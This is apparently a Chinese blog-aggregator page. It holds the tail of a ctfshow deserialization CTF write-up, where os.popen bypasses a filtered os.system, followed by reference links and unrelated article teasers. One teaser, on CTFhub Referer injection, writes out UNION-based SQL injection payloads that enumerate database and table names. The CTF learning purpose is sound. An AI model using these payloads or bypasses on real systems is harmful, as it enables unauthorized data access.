hint 提示过滤了 os.system

换成 os.popen, 其它同上


参考文章:

ctfshow 反序列化

ctfshow web 反序列化(web254-278)

ctfshow Web入门[反序列化] Writeup

pickle反序列化初探

一篇文章带你理解漏洞之 Python 反序列化漏洞

初探phar://

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/104054.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于web的成语接龙游戏java jsp趣味学习mysql源代码

本项目为前几天收费帮学妹做的一个项目&#xff0c;Java EE JSP项目&#xff0c;在工作环境中基本使用不到&#xff0c;但是很多学校把这个当作编程入门的项目来做&#xff0c;故分享出本项目供初学者参考。 一、项目描述 基于web的成语接龙游戏 系统有1权限&#xff1a;管理…

Wlan——锐捷智分网络解决方案及其配置

目录 智分解决方案 一代智分解决方案 二代智分解决方案 三代智分解决方案 智分解决方案 技术原理 隧道建立 智分方案的配置 配置基础信息 配置微AP的无线信号 调整微AP的射频参数 宿舍场景特点&#xff1a;房间小&#xff0c;单个房间用户少&#xff0c;房间密集&am…

jvm-类加载子系统

1.内存结构概述 类加载子系统负责从文件系统或网络中加载class文件&#xff0c;class文件在文件开头有特定的文件标识 ClassLoader只负责class文件的加载&#xff0c;至于它是否运行&#xff0c;则由Execution Engine决定 加载的类信息存放于一块称为方法区的内存空间&#xff…

论文解读:Image-Adaptive YOLO for Object Detection in Adverse Weather Conditions

发布时间&#xff1a;2022.4.4 (2021发布&#xff0c;进过多次修订) 论文地址&#xff1a;https://arxiv.org/pdf/2112.08088.pdf 项目地址&#xff1a;https://github.com/wenyyu/Image-Adaptive-YOLO 虽然基于深度学习的目标检测方法在传统数据集上取得了很好的结果&#xf…

ResNet18云空间部署

1-6步骤可以在云空间运行&#xff0c;也可以在本地运行&#xff1b;步骤7 在云空间运行。 1.编译ONNX模型 本章以 resnet18.onnx 为例, 介绍如何编译迁移一个onnx模型至BM1684X TPU平台运行。 该模型来自onnx的官网: models/vision/classification/resnet/model/resnet18-v1…

综合能源系统(8)——综合能源系统支撑技术

综合能源系统关键技术与典型案例  何泽家&#xff0c;李德智主编 1、大数据技术 1.1、大数据技术概述 大数据是指无法在一定时间范围内用常规软件工具进行捕捉、管理和处理的数据集合&#xff0c;是需要新处理模式才能具有更强的决策力、洞察发现力和流程优化能力的海量、高…

自动驾驶仿真:基于Carsim开发的加速度请求模型

文章目录 前言一、加速度输出变量问题澄清二、配置Carsim动力学模型三、配置Carsim驾驶员模型四、添加VS Command代码五、Run Control联合仿真六、加速度模型效果验证 前言 1、自动驾驶行业中&#xff0c;算法端对于纵向控制的功能预留接口基本都是加速度&#xff0c;我们需要…

【Unity小技巧】Unity探究自制对象池和官方内置对象池(ObjectPool)的使用

文章目录 前言不使用对象池使用官方内置对象池应用 自制对象池总结源码参考完结 前言 对象池&#xff08;Object Pool&#xff09;是一种软件设计模式&#xff0c;用于管理和重用已创建的对象。在对象池中&#xff0c;一组预先创建的对象被维护在一个池中&#xff0c;并在需要时…

树结构使用实例---实现数组和树结构的转换

文章目录 一、为什么要用树结构&#xff1f;二、使用步骤 1.引入相关json2.树结构的转换总结 一、为什么要用树结构&#xff1f; 本文将讲述一个实例&#xff0c;构造一棵树来实现数组和tree的转换&#xff0c;这在前端树结构中是经常遇到的 后端返回树结构方便管理&#xff…

【Vue框架】 router和route是什么关系

前言 之前没太注意&#xff0c;写着写着突然发现它们貌似不太一样&#xff0c;记录以下&#xff0c;回顾的看总结就好。 1、总结✨ route&#xff1a;当前激活路由的对象&#xff0c;用于访问和操作当前路由的信息 router&#xff1a;管理多个route的对象&#xff0c;整个应…

Qt双击某一文件通过自己实现的程序打开,并加载文件显示

双击启动 简述方法一方法二注意 简述 在Windows系统中&#xff0c;双击某类扩展名的文件&#xff0c;通过自己实现的程序打开文件&#xff0c;并正确加载及显示文件。有两种方式可以到达这个目的。 对于系统不知道的扩展名的文件&#xff0c;第一次打开时&#xff0c;需要自行…

Kali Linux中的SQL注入攻击如何进行

Kali Linux中的SQL注入攻击如何进行&#xff1f; 什么是SQL注入攻击&#xff1f; SQL注入是一种常见的Web应用程序漏洞&#xff0c;攻击者可以通过恶意构造的SQL查询字符串&#xff0c;绕过应用程序的验证和过滤&#xff0c;进而访问或操纵数据库中的数据。这可能导致泄露敏感…

Android OpenCV(七十五): 看看刚”转正“的条形码识别

前言 2021年,我们写过一篇《OpenCV 条码识别 Android 平台实践》,当时的条形码识别模块位于 opencv_contrib 仓库,但是 OpenCV 4.8.0 版本开始, 条形码识别模块已移动到 OpenCV 主仓库,至此我们无需自行编译即可轻松地调用条形码识别能力。 Bar code detector and decoder…

2.含电热联合系统的微电网运行优化

含电热联合系统的微电网运行优化 MATLAB代码&#xff1a;含电热联合系统的微电网运行优化 关键词&#xff1a;微网 电热联合系统 优化调度 参考文档&#xff1a;《含电热联合系统的微电网运行优化》完全复现 仿真平台&#xff1a;MATLAB yalmipcplex [火]主要内容&#xf…

设计模式篇---抽象工厂(包含优化)

文章目录 概念结构实例优化 概念 抽象工厂&#xff1a;提供一个创建一系列相关或相互依赖对象的接口&#xff0c;而无须指定它们具体的类。 工厂方法是有一个类型的产品&#xff0c;也就是只有一个产品的抽象类或接口&#xff0c;而抽象工厂相对于工厂方法来说&#xff0c;是有…

THINKPHP 微联云投票系统源码独立版 + 支持刷礼物

THINKPHP 微联云投票系统源码独立版 支持刷礼物 nginxphp7.2以上 mysql5.6以上 简单测试后台基本没什么问题&#xff0c;暂时发现H5前端有bug,自行修复。

【Winform学习笔记(八)】通过委托实现跨窗体传值

通过委托实现跨窗体传值 前言正文1、委托及事件2、通过委托实现跨窗体传值的步骤1.在子窗体中定义委托2.在子窗体中声明一个委托类型的事件3.调用委托类型事件4.在实例化子窗体后&#xff0c;子窗体订阅事件接受方法5.实现具体的事件 3、具体示例4、完整代码5、实现效果 前言 …

CTFhub-sqli注入-Referer注入

在最后添加 Referer: (注意 R 大写&#xff0c; Referer后面是 &#xff1a;&#xff0c;Content-Length: 与 Referer: 之间没有空行) 1 2 3 1 union select 1,database() -1 union select 1,database() -1 union select 1,group_concat(table_name)from information_sche…

解决ios隔空播放音频到macos没有声音的问题

解决ios隔空播放音频到macos没有声音的问题 一、检查隔空播放支持设备和系统要求二、打开隔空播放接收器三、重置MAC控制中心进程END 一、检查隔空播放支持设备和系统要求 Mac、iPhone、iPad 和 Apple Watch 上“连续互通”的系统要求 二、打开隔空播放接收器 ps;我设备是同一…